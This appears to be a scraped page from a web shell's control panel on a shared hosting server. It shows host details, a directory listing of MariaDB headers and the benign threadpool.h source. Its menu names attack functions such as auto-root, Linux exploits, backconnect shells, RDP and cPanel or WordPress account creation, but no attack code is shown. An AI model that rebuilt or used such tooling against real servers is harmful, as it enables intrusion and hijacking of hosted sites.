Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
include /
mysql /
server /
private /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
providers
[ DIR ]
drwxr-xr-x
aligned.h
1.11
KB
-rw-r--r--
aria_backup.h
1.51
KB
-rw-r--r--
assume_aligned.h
2.29
KB
-rw-r--r--
authors.h
9.9
KB
-rw-r--r--
backup.h
1.66
KB
-rw-r--r--
bounded_queue.h
5.95
KB
-rw-r--r--
char_buffer.h
3.09
KB
-rw-r--r--
charset_collations.h
6.41
KB
-rw-r--r--
client_settings.h
1.87
KB
-rw-r--r--
compat56.h
2.23
KB
-rw-r--r--
config.h
14.21
KB
-rw-r--r--
contributors.h
4.76
KB
-rw-r--r--
create_options.h
4.09
KB
-rw-r--r--
create_tmp_table.h
2.74
KB
-rw-r--r--
cset_narrowing.h
3.88
KB
-rw-r--r--
custom_conf.h
1.06
KB
-rw-r--r--
datadict.h
1.66
KB
-rw-r--r--
ddl_log.h
12.51
KB
-rw-r--r--
debug.h
1.26
KB
-rw-r--r--
debug_sync.h
2
KB
-rw-r--r--
deprecation.h
2.74
KB
-rw-r--r--
derived_handler.h
2.32
KB
-rw-r--r--
derror.h
980
B
-rw-r--r--
des_key_file.h
1.21
KB
-rw-r--r--
discover.h
1.53
KB
-rw-r--r--
dur_prop.h
1.06
KB
-rw-r--r--
embedded_priv.h
1.69
KB
-rw-r--r--
event_data_objects.h
4.09
KB
-rw-r--r--
event_db_repository.h
3.56
KB
-rw-r--r--
event_parse_data.h
2.83
KB
-rw-r--r--
event_queue.h
3.36
KB
-rw-r--r--
event_scheduler.h
3.21
KB
-rw-r--r--
events.h
4.6
KB
-rw-r--r--
field.h
217.81
KB
-rw-r--r--
field_comp.h
1.15
KB
-rw-r--r--
filesort.h
7.13
KB
-rw-r--r--
filesort_utils.h
10.53
KB
-rw-r--r--
ft_global.h
3.04
KB
-rw-r--r--
gcalc_slicescan.h
16.87
KB
-rw-r--r--
gcalc_tools.h
11.62
KB
-rw-r--r--
grant.h
2.69
KB
-rw-r--r--
group_by_handler.h
3.45
KB
-rw-r--r--
gstream.h
2.38
KB
-rw-r--r--
gtid_index.h
19.54
KB
-rw-r--r--
ha_handler_stats.h
2.28
KB
-rw-r--r--
ha_partition.h
63.36
KB
-rw-r--r--
ha_sequence.h
6.1
KB
-rw-r--r--
handle_connections_win.h
884
B
-rw-r--r--
handler.h
206.19
KB
-rw-r--r--
hash.h
4.35
KB
-rw-r--r--
hash_filo.h
5.55
KB
-rw-r--r--
heap.h
9.26
KB
-rw-r--r--
hostname.h
5.29
KB
-rw-r--r--
ilist.h
6.98
KB
-rw-r--r--
init.h
852
B
-rw-r--r--
innodb_priv.h
1.29
KB
-rw-r--r--
item.h
276.43
KB
-rw-r--r--
item_cmpfunc.h
132.01
KB
-rw-r--r--
item_create.h
11.24
KB
-rw-r--r--
item_func.h
134.64
KB
-rw-r--r--
item_geofunc.h
38.16
KB
-rw-r--r--
item_jsonfunc.h
27.86
KB
-rw-r--r--
item_row.h
5.1
KB
-rw-r--r--
item_strfunc.h
75.33
KB
-rw-r--r--
item_subselect.h
57.63
KB
-rw-r--r--
item_sum.h
70.69
KB
-rw-r--r--
item_timefunc.h
63.85
KB
-rw-r--r--
item_vers.h
4.26
KB
-rw-r--r--
item_windowfunc.h
33.56
KB
-rw-r--r--
item_xmlfunc.h
4.52
KB
-rw-r--r--
json_schema.h
25.1
KB
-rw-r--r--
json_schema_helper.h
1.13
KB
-rw-r--r--
json_table.h
9.44
KB
-rw-r--r--
key.h
2.08
KB
-rw-r--r--
keycaches.h
1.94
KB
-rw-r--r--
lex.h
29.54
KB
-rw-r--r--
lex_charset.h
25.92
KB
-rw-r--r--
lex_hash.h
141.94
KB
-rw-r--r--
lex_ident.h
5.15
KB
-rw-r--r--
lex_string.h
4.77
KB
-rw-r--r--
lex_symbol.h
1.29
KB
-rw-r--r--
lex_token.h
42.01
KB
-rw-r--r--
lf.h
6.31
KB
-rw-r--r--
lock.h
2.2
KB
-rw-r--r--
log.h
51.28
KB
-rw-r--r--
log_cache.h
7.57
KB
-rw-r--r--
log_event.h
172.56
KB
-rw-r--r--
log_event_data_type.h
1.85
KB
-rw-r--r--
log_slow.h
2.38
KB
-rw-r--r--
maria.h
5.73
KB
-rw-r--r--
mariadb.h
1.25
KB
-rw-r--r--
mdl.h
37.65
KB
-rw-r--r--
mem_root_array.h
6.94
KB
-rw-r--r--
message.h
1.17
KB
-rw-r--r--
multi_range_read.h
22.65
KB
-rw-r--r--
my_apc.h
4.64
KB
-rw-r--r--
my_atomic.h
7.11
KB
-rw-r--r--
my_atomic_wrapper.h
2.98
KB
-rw-r--r--
my_base.h
27.28
KB
-rw-r--r--
my_bit.h
6.05
KB
-rw-r--r--
my_bitmap.h
5.37
KB
-rw-r--r--
my_check_opt.h
2.56
KB
-rw-r--r--
my_compare.h
10.87
KB
-rw-r--r--
my_counter.h
1.68
KB
-rw-r--r--
my_cpu.h
4.74
KB
-rw-r--r--
my_crypt.h
904
B
-rw-r--r--
my_decimal.h
14.15
KB
-rw-r--r--
my_default.h
1.84
KB
-rw-r--r--
my_handler_errors.h
4.77
KB
-rw-r--r--
my_json_writer.h
18.14
KB
-rw-r--r--
my_libwrap.h
1.16
KB
-rw-r--r--
my_md5.h
1.45
KB
-rw-r--r--
my_minidump.h
848
B
-rw-r--r--
my_nosys.h
1.4
KB
-rw-r--r--
my_rdtsc.h
9.88
KB
-rw-r--r--
my_rnd.h
1014
B
-rw-r--r--
my_service_manager.h
2.07
KB
-rw-r--r--
my_stack_alloc.h
6.34
KB
-rw-r--r--
my_stacktrace.h
3.14
KB
-rw-r--r--
my_time.h
10.17
KB
-rw-r--r--
my_tracker.h
1.37
KB
-rw-r--r--
my_tree.h
3.9
KB
-rw-r--r--
my_uctype.h
67.9
KB
-rw-r--r--
my_user.h
1.1
KB
-rw-r--r--
my_virtual_mem.h
1.1
KB
-rw-r--r--
myisam.h
17.18
KB
-rw-r--r--
myisamchk.h
4.62
KB
-rw-r--r--
myisammrg.h
4.78
KB
-rw-r--r--
myisampack.h
14.58
KB
-rw-r--r--
mysqld.h
41.11
KB
-rw-r--r--
mysqld_default_groups.h
204
B
-rw-r--r--
mysqld_suffix.h
1.17
KB
-rw-r--r--
mysys_err.h
2.99
KB
-rw-r--r--
opt_histogram_json.h
4.71
KB
-rw-r--r--
opt_range.h
64.78
KB
-rw-r--r--
opt_rewrite_date_cmp.h
3.84
KB
-rw-r--r--
opt_subselect.h
14.78
KB
-rw-r--r--
opt_trace.h
8.29
KB
-rw-r--r--
opt_trace_context.h
3.21
KB
-rw-r--r--
optimizer_costs.h
5.89
KB
-rw-r--r--
optimizer_defaults.h
7.37
KB
-rw-r--r--
parse_file.h
4.28
KB
-rw-r--r--
partition_element.h
5.3
KB
-rw-r--r--
partition_info.h
19.4
KB
-rw-r--r--
password.h
1.14
KB
-rw-r--r--
pfs_file_provider.h
3.08
KB
-rw-r--r--
pfs_idle_provider.h
1.35
KB
-rw-r--r--
pfs_memory_provider.h
1.59
KB
-rw-r--r--
pfs_metadata_provider.h
1.85
KB
-rw-r--r--
pfs_socket_provider.h
2.21
KB
-rw-r--r--
pfs_stage_provider.h
1.52
KB
-rw-r--r--
pfs_statement_provider.h
4.25
KB
-rw-r--r--
pfs_table_provider.h
2.56
KB
-rw-r--r--
pfs_thread_provider.h
5.43
KB
-rw-r--r--
pfs_transaction_provider.h
2.78
KB
-rw-r--r--
privilege.h
28.44
KB
-rw-r--r--
probes_mysql.h
973
B
-rw-r--r--
probes_mysql_dtrace.h
32.23
KB
-rw-r--r--
probes_mysql_nodtrace.h
5.94
KB
-rw-r--r--
procedure.h
6.63
KB
-rw-r--r--
protocol.h
12.27
KB
-rw-r--r--
proxy_protocol.h
548
B
-rw-r--r--
queues.h
3.4
KB
-rw-r--r--
records.h
3.07
KB
-rw-r--r--
repl_failsafe.h
1.55
KB
-rw-r--r--
replication.h
15.2
KB
-rw-r--r--
rijndael.h
1.67
KB
-rw-r--r--
rowid_filter.h
16.03
KB
-rw-r--r--
rpl_constants.h
3.28
KB
-rw-r--r--
rpl_filter.h
4.66
KB
-rw-r--r--
rpl_gtid.h
29.95
KB
-rw-r--r--
rpl_injector.h
9.4
KB
-rw-r--r--
rpl_mi.h
16.29
KB
-rw-r--r--
rpl_parallel.h
17.8
KB
-rw-r--r--
rpl_record.h
1.49
KB
-rw-r--r--
rpl_reporting.h
3.63
KB
-rw-r--r--
rpl_rli.h
35.02
KB
-rw-r--r--
rpl_tblmap.h
3.1
KB
-rw-r--r--
rpl_utility.h
10.93
KB
-rw-r--r--
scheduler.h
3.12
KB
-rw-r--r--
scope.h
4.29
KB
-rw-r--r--
select_handler.h
3.34
KB
-rw-r--r--
semisync.h
2.23
KB
-rw-r--r--
semisync_master.h
25.16
KB
-rw-r--r--
semisync_master_ack_receiver.h
8.5
KB
-rw-r--r--
semisync_slave.h
3.65
KB
-rw-r--r--
service_versions.h
2.23
KB
-rw-r--r--
session_tracker.h
13.75
KB
-rw-r--r--
set_var.h
16.39
KB
-rw-r--r--
simple_tokenizer.h
1.97
KB
-rw-r--r--
slave.h
11.99
KB
-rw-r--r--
socketpair.h
842
B
-rw-r--r--
source_revision.h
67
B
-rw-r--r--
sp.h
23.11
KB
-rw-r--r--
sp_cache.h
1.99
KB
-rw-r--r--
sp_head.h
38.61
KB
-rw-r--r--
sp_instr.h
40.41
KB
-rw-r--r--
sp_pcontext.h
24.71
KB
-rw-r--r--
sp_rcontext.h
14.08
KB
-rw-r--r--
span.h
3.84
KB
-rw-r--r--
spatial.h
21.78
KB
-rw-r--r--
sql_acl.h
13.75
KB
-rw-r--r--
sql_admin.h
2.85
KB
-rw-r--r--
sql_alloc.h
1.69
KB
-rw-r--r--
sql_alter.h
15.08
KB
-rw-r--r--
sql_analyse.h
10.86
KB
-rw-r--r--
sql_analyze_stmt.h
12.4
KB
-rw-r--r--
sql_array.h
6.97
KB
-rw-r--r--
sql_audit.h
13.83
KB
-rw-r--r--
sql_base.h
25.87
KB
-rw-r--r--
sql_basic_types.h
9.3
KB
-rw-r--r--
sql_binlog.h
895
B
-rw-r--r--
sql_bitmap.h
7.88
KB
-rw-r--r--
sql_bootstrap.h
1.77
KB
-rw-r--r--
sql_cache.h
21.34
KB
-rw-r--r--
sql_callback.h
1.51
KB
-rw-r--r--
sql_class.h
270.56
KB
-rw-r--r--
sql_cmd.h
15.11
KB
-rw-r--r--
sql_connect.h
3.96
KB
-rw-r--r--
sql_const.h
10.07
KB
-rw-r--r--
sql_crypt.h
1.4
KB
-rw-r--r--
sql_cte.h
16.15
KB
-rw-r--r--
sql_cursor.h
4.14
KB
-rw-r--r--
sql_db.h
2.28
KB
-rw-r--r--
sql_debug.h
5.51
KB
-rw-r--r--
sql_delete.h
3.52
KB
-rw-r--r--
sql_derived.h
1.26
KB
-rw-r--r--
sql_digest.h
3.73
KB
-rw-r--r--
sql_digest_stream.h
1.53
KB
-rw-r--r--
sql_do.h
954
B
-rw-r--r--
sql_error.h
39.39
KB
-rw-r--r--
sql_explain.h
30.39
KB
-rw-r--r--
sql_expression_cache.h
4.26
KB
-rw-r--r--
sql_get_diagnostics.h
7.7
KB
-rw-r--r--
sql_handler.h
2.84
KB
-rw-r--r--
sql_help.h
995
B
-rw-r--r--
sql_hset.h
3.32
KB
-rw-r--r--
sql_i_s.h
8.29
KB
-rw-r--r--
sql_insert.h
5.05
KB
-rw-r--r--
sql_join_cache.h
47.52
KB
-rw-r--r--
sql_lex.h
174.22
KB
-rw-r--r--
sql_lifo_buffer.h
9.45
KB
-rw-r--r--
sql_limit.h
3.11
KB
-rw-r--r--
sql_list.h
21.87
KB
-rw-r--r--
sql_load.h
1.25
KB
-rw-r--r--
sql_locale.h
3.16
KB
-rw-r--r--
sql_manager.h
960
B
-rw-r--r--
sql_mode.h
6.58
KB
-rw-r--r--
sql_parse.h
8.31
KB
-rw-r--r--
sql_partition.h
12.38
KB
-rw-r--r--
sql_partition_admin.h
5.8
KB
-rw-r--r--
sql_plist.h
7.53
KB
-rw-r--r--
sql_plugin.h
7.4
KB
-rw-r--r--
sql_plugin_compat.h
2.18
KB
-rw-r--r--
sql_prepare.h
11.4
KB
-rw-r--r--
sql_priv.h
15.08
KB
-rw-r--r--
sql_profile.h
7.63
KB
-rw-r--r--
sql_reload.h
1.01
KB
-rw-r--r--
sql_rename.h
982
B
-rw-r--r--
sql_repl.h
2.99
KB
-rw-r--r--
sql_schema.h
3.23
KB
-rw-r--r--
sql_select.h
91
KB
-rw-r--r--
sql_sequence.h
5.06
KB
-rw-r--r--
sql_servers.h
1.74
KB
-rw-r--r--
sql_show.h
9.73
KB
-rw-r--r--
sql_signal.h
3.28
KB
-rw-r--r--
sql_sort.h
21.96
KB
-rw-r--r--
sql_statistics.h
16.41
KB
-rw-r--r--
sql_string.h
37.92
KB
-rw-r--r--
sql_table.h
9.52
KB
-rw-r--r--
sql_test.h
1.55
KB
-rw-r--r--
sql_time.h
7.24
KB
-rw-r--r--
sql_trigger.h
11.88
KB
-rw-r--r--
sql_truncate.h
2.03
KB
-rw-r--r--
sql_tvc.h
2.36
KB
-rw-r--r--
sql_type.h
291.25
KB
-rw-r--r--
sql_type_fixedbin.h
63.94
KB
-rw-r--r--
sql_type_fixedbin_storage.h
5.34
KB
-rw-r--r--
sql_type_geom.h
18.59
KB
-rw-r--r--
sql_type_int.h
9.77
KB
-rw-r--r--
sql_type_json.h
6.01
KB
-rw-r--r--
sql_type_real.h
1.23
KB
-rw-r--r--
sql_type_string.h
1.59
KB
-rw-r--r--
sql_type_timeofday.h
2.26
KB
-rw-r--r--
sql_udf.h
4.74
KB
-rw-r--r--
sql_union.h
1.04
KB
-rw-r--r--
sql_update.h
3.55
KB
-rw-r--r--
sql_used.h
1.02
KB
-rw-r--r--
sql_view.h
2.41
KB
-rw-r--r--
sql_window.h
6.65
KB
-rw-r--r--
ssl_compat.h
3.3
KB
-rw-r--r--
strfunc.h
2.22
KB
-rw-r--r--
structs.h
30.55
KB
-rw-r--r--
sys_vars_shared.h
2.67
KB
-rw-r--r--
t_ctype.h
5.51
KB
-rw-r--r--
table.h
118.11
KB
-rw-r--r--
table_cache.h
4.13
KB
-rw-r--r--
thr_lock.h
7.06
KB
-rw-r--r--
thr_malloc.h
1.17
KB
-rw-r--r--
thr_timer.h
1.53
KB
-rw-r--r--
thread_cache.h
5.77
KB
-rw-r--r--
threadpool.h
4.7
KB
-rw-r--r--
threadpool_generic.h
3.88
KB
-rw-r--r--
threadpool_winsockets.h
2.24
KB
-rw-r--r--
transaction.h
1.43
KB
-rw-r--r--
tzfile.h
4.9
KB
-rw-r--r--
tztime.h
3.65
KB
-rw-r--r--
uniques.h
4.13
KB
-rw-r--r--
unireg.h
7.76
KB
-rw-r--r--
vers_string.h
2.39
KB
-rw-r--r--
violite.h
9.85
KB
-rw-r--r--
waiting_threads.h
4.43
KB
-rw-r--r--
welcome_copyright_notice.h
1.42
KB
-rw-r--r--
winservice.h
5.88
KB
-rw-r--r--
wqueue.h
1.53
KB
-rw-r--r--
wsrep.h
3.23
KB
-rw-r--r--
wsrep_allowlist_service.h
1.01
KB
-rw-r--r--
wsrep_applier.h
2.64
KB
-rw-r--r--
wsrep_binlog.h
3.36
KB
-rw-r--r--
wsrep_client_service.h
2.5
KB
-rw-r--r--
wsrep_client_state.h
1.53
KB
-rw-r--r--
wsrep_condition_variable.h
1.45
KB
-rw-r--r--
wsrep_event_service.h
1.32
KB
-rw-r--r--
wsrep_high_priority_service.h
4.8
KB
-rw-r--r--
wsrep_mutex.h
1.21
KB
-rw-r--r--
wsrep_mysqld.h
20.93
KB
-rw-r--r--
wsrep_mysqld_c.h
1.2
KB
-rw-r--r--
wsrep_on.h
1.68
KB
-rw-r--r--
wsrep_plugin.h
1.35
KB
-rw-r--r--
wsrep_priv.h
1.6
KB
-rw-r--r--
wsrep_schema.h
5.48
KB
-rw-r--r--
wsrep_server_service.h
3.55
KB
-rw-r--r--
wsrep_server_state.h
3.06
KB
-rw-r--r--
wsrep_sst.h
3.86
KB
-rw-r--r--
wsrep_status.h
1.93
KB
-rw-r--r--
wsrep_storage_service.h
1.77
KB
-rw-r--r--
wsrep_thd.h
10.9
KB
-rw-r--r--
wsrep_trans_observer.h
17.75
KB
-rw-r--r--
wsrep_types.h
1.08
KB
-rw-r--r--
wsrep_utils.h
9.58
KB
-rw-r--r--
wsrep_var.h
4.25
KB
-rw-r--r--
wsrep_xid.h
1.51
KB
-rw-r--r--
xa.h
1.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : threadpool.h
/* Copyright (C) 2012, 2020, MariaDB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA */ #pragma once #ifdef HAVE_POOL_OF_THREADS #define MAX_THREAD_GROUPS 100000 /* Threadpool parameters */ extern uint threadpool_min_threads; /* Minimum threads in pool */ extern uint threadpool_idle_timeout; /* Shutdown idle worker threads after this timeout */ extern uint threadpool_size; /* Number of parallel executing threads */ extern uint threadpool_max_size; extern uint threadpool_stall_limit; /* time interval in milliseconds for stall checks*/ extern uint threadpool_max_threads; /* Maximum threads in pool */ extern uint threadpool_oversubscribe; /* Maximum active threads in group */ extern uint threadpool_prio_kickup_timer; /* Time before low prio item gets prio boost */ extern my_bool threadpool_exact_stats; /* Better queueing time stats for information_schema, at small performance cost */ extern my_bool threadpool_dedicated_listener; /* Listener thread does not pick up work items. */ #ifdef _WIN32 extern uint threadpool_mode; /* Thread pool implementation , windows or generic */ #define TP_MODE_WINDOWS 0 #define TP_MODE_GENERIC 1 #endif #define DEFAULT_THREADPOOL_STALL_LIMIT 500U struct TP_connection; struct st_vio; extern void tp_callback(TP_connection *c); extern void tp_timeout_handler(TP_connection *c); /* Threadpool statistics */ struct TP_STATISTICS { /* Current number of worker thread. */ Atomic_counter<uint32_t> num_worker_threads; }; extern TP_STATISTICS tp_stats; /* Functions to set threadpool parameters */ extern void tp_set_min_threads(uint val); extern void tp_set_max_threads(uint val); extern void tp_set_threadpool_size(uint val); extern void tp_set_threadpool_stall_limit(uint val); extern int tp_get_idle_thread_count(); extern int tp_get_thread_count(); enum TP_PRIORITY { TP_PRIORITY_HIGH, TP_PRIORITY_LOW, TP_PRIORITY_AUTO }; enum TP_STATE { TP_STATE_IDLE, TP_STATE_RUNNING, TP_STATE_PENDING }; /* Connection structure, encapsulates THD + structures for asynchronous IO and pool. Platform specific parts are specified in subclasses called connection_t, inside threadpool_win.cc and threadpool_unix.cc */ class CONNECT; struct TP_connection { THD* thd; CONNECT* connect; TP_STATE state; TP_PRIORITY priority; TP_connection(CONNECT *c) : thd(0), connect(c), state(TP_STATE_IDLE), priority(TP_PRIORITY_HIGH) {} virtual ~TP_connection() = default; /* Initialize io structures windows threadpool, epoll etc */ virtual int init() = 0; virtual void set_io_timeout(int sec) = 0; /* Read for the next client command (async) with specified timeout */ virtual int start_io() = 0; virtual void wait_begin(int type)= 0; virtual void wait_end() = 0; IF_WIN(virtual,) void init_vio(st_vio *){}; }; struct TP_pool { virtual ~TP_pool() = default; virtual int init()= 0; virtual TP_connection *new_connection(CONNECT *)= 0; virtual void add(TP_connection *c)= 0; virtual int set_max_threads(uint){ return 0; } virtual int set_min_threads(uint){ return 0; } virtual int set_pool_size(uint){ return 0; } virtual int set_idle_timeout(uint){ return 0; } virtual int set_oversubscribe(uint){ return 0; } virtual int set_stall_limit(uint){ return 0; } virtual int get_thread_count() { return tp_stats.num_worker_threads; } virtual int get_idle_thread_count(){ return 0; } virtual void resume(TP_connection* c)=0; }; #ifdef _WIN32 struct TP_pool_win:TP_pool { TP_pool_win(); int init() override; ~TP_pool_win() override; TP_connection *new_connection(CONNECT *c) override; void add(TP_connection *) override; int set_max_threads(uint) override; int set_min_threads(uint) override; void resume(TP_connection *c) override; }; #endif struct TP_pool_generic :TP_pool { TP_pool_generic(); ~TP_pool_generic(); int init() override; TP_connection *new_connection(CONNECT *c) override; void add(TP_connection *) override; int set_pool_size(uint) override; int set_stall_limit(uint) override; int get_idle_thread_count() override; void resume(TP_connection* c) override; }; #endif /* HAVE_POOL_OF_THREADS */
Close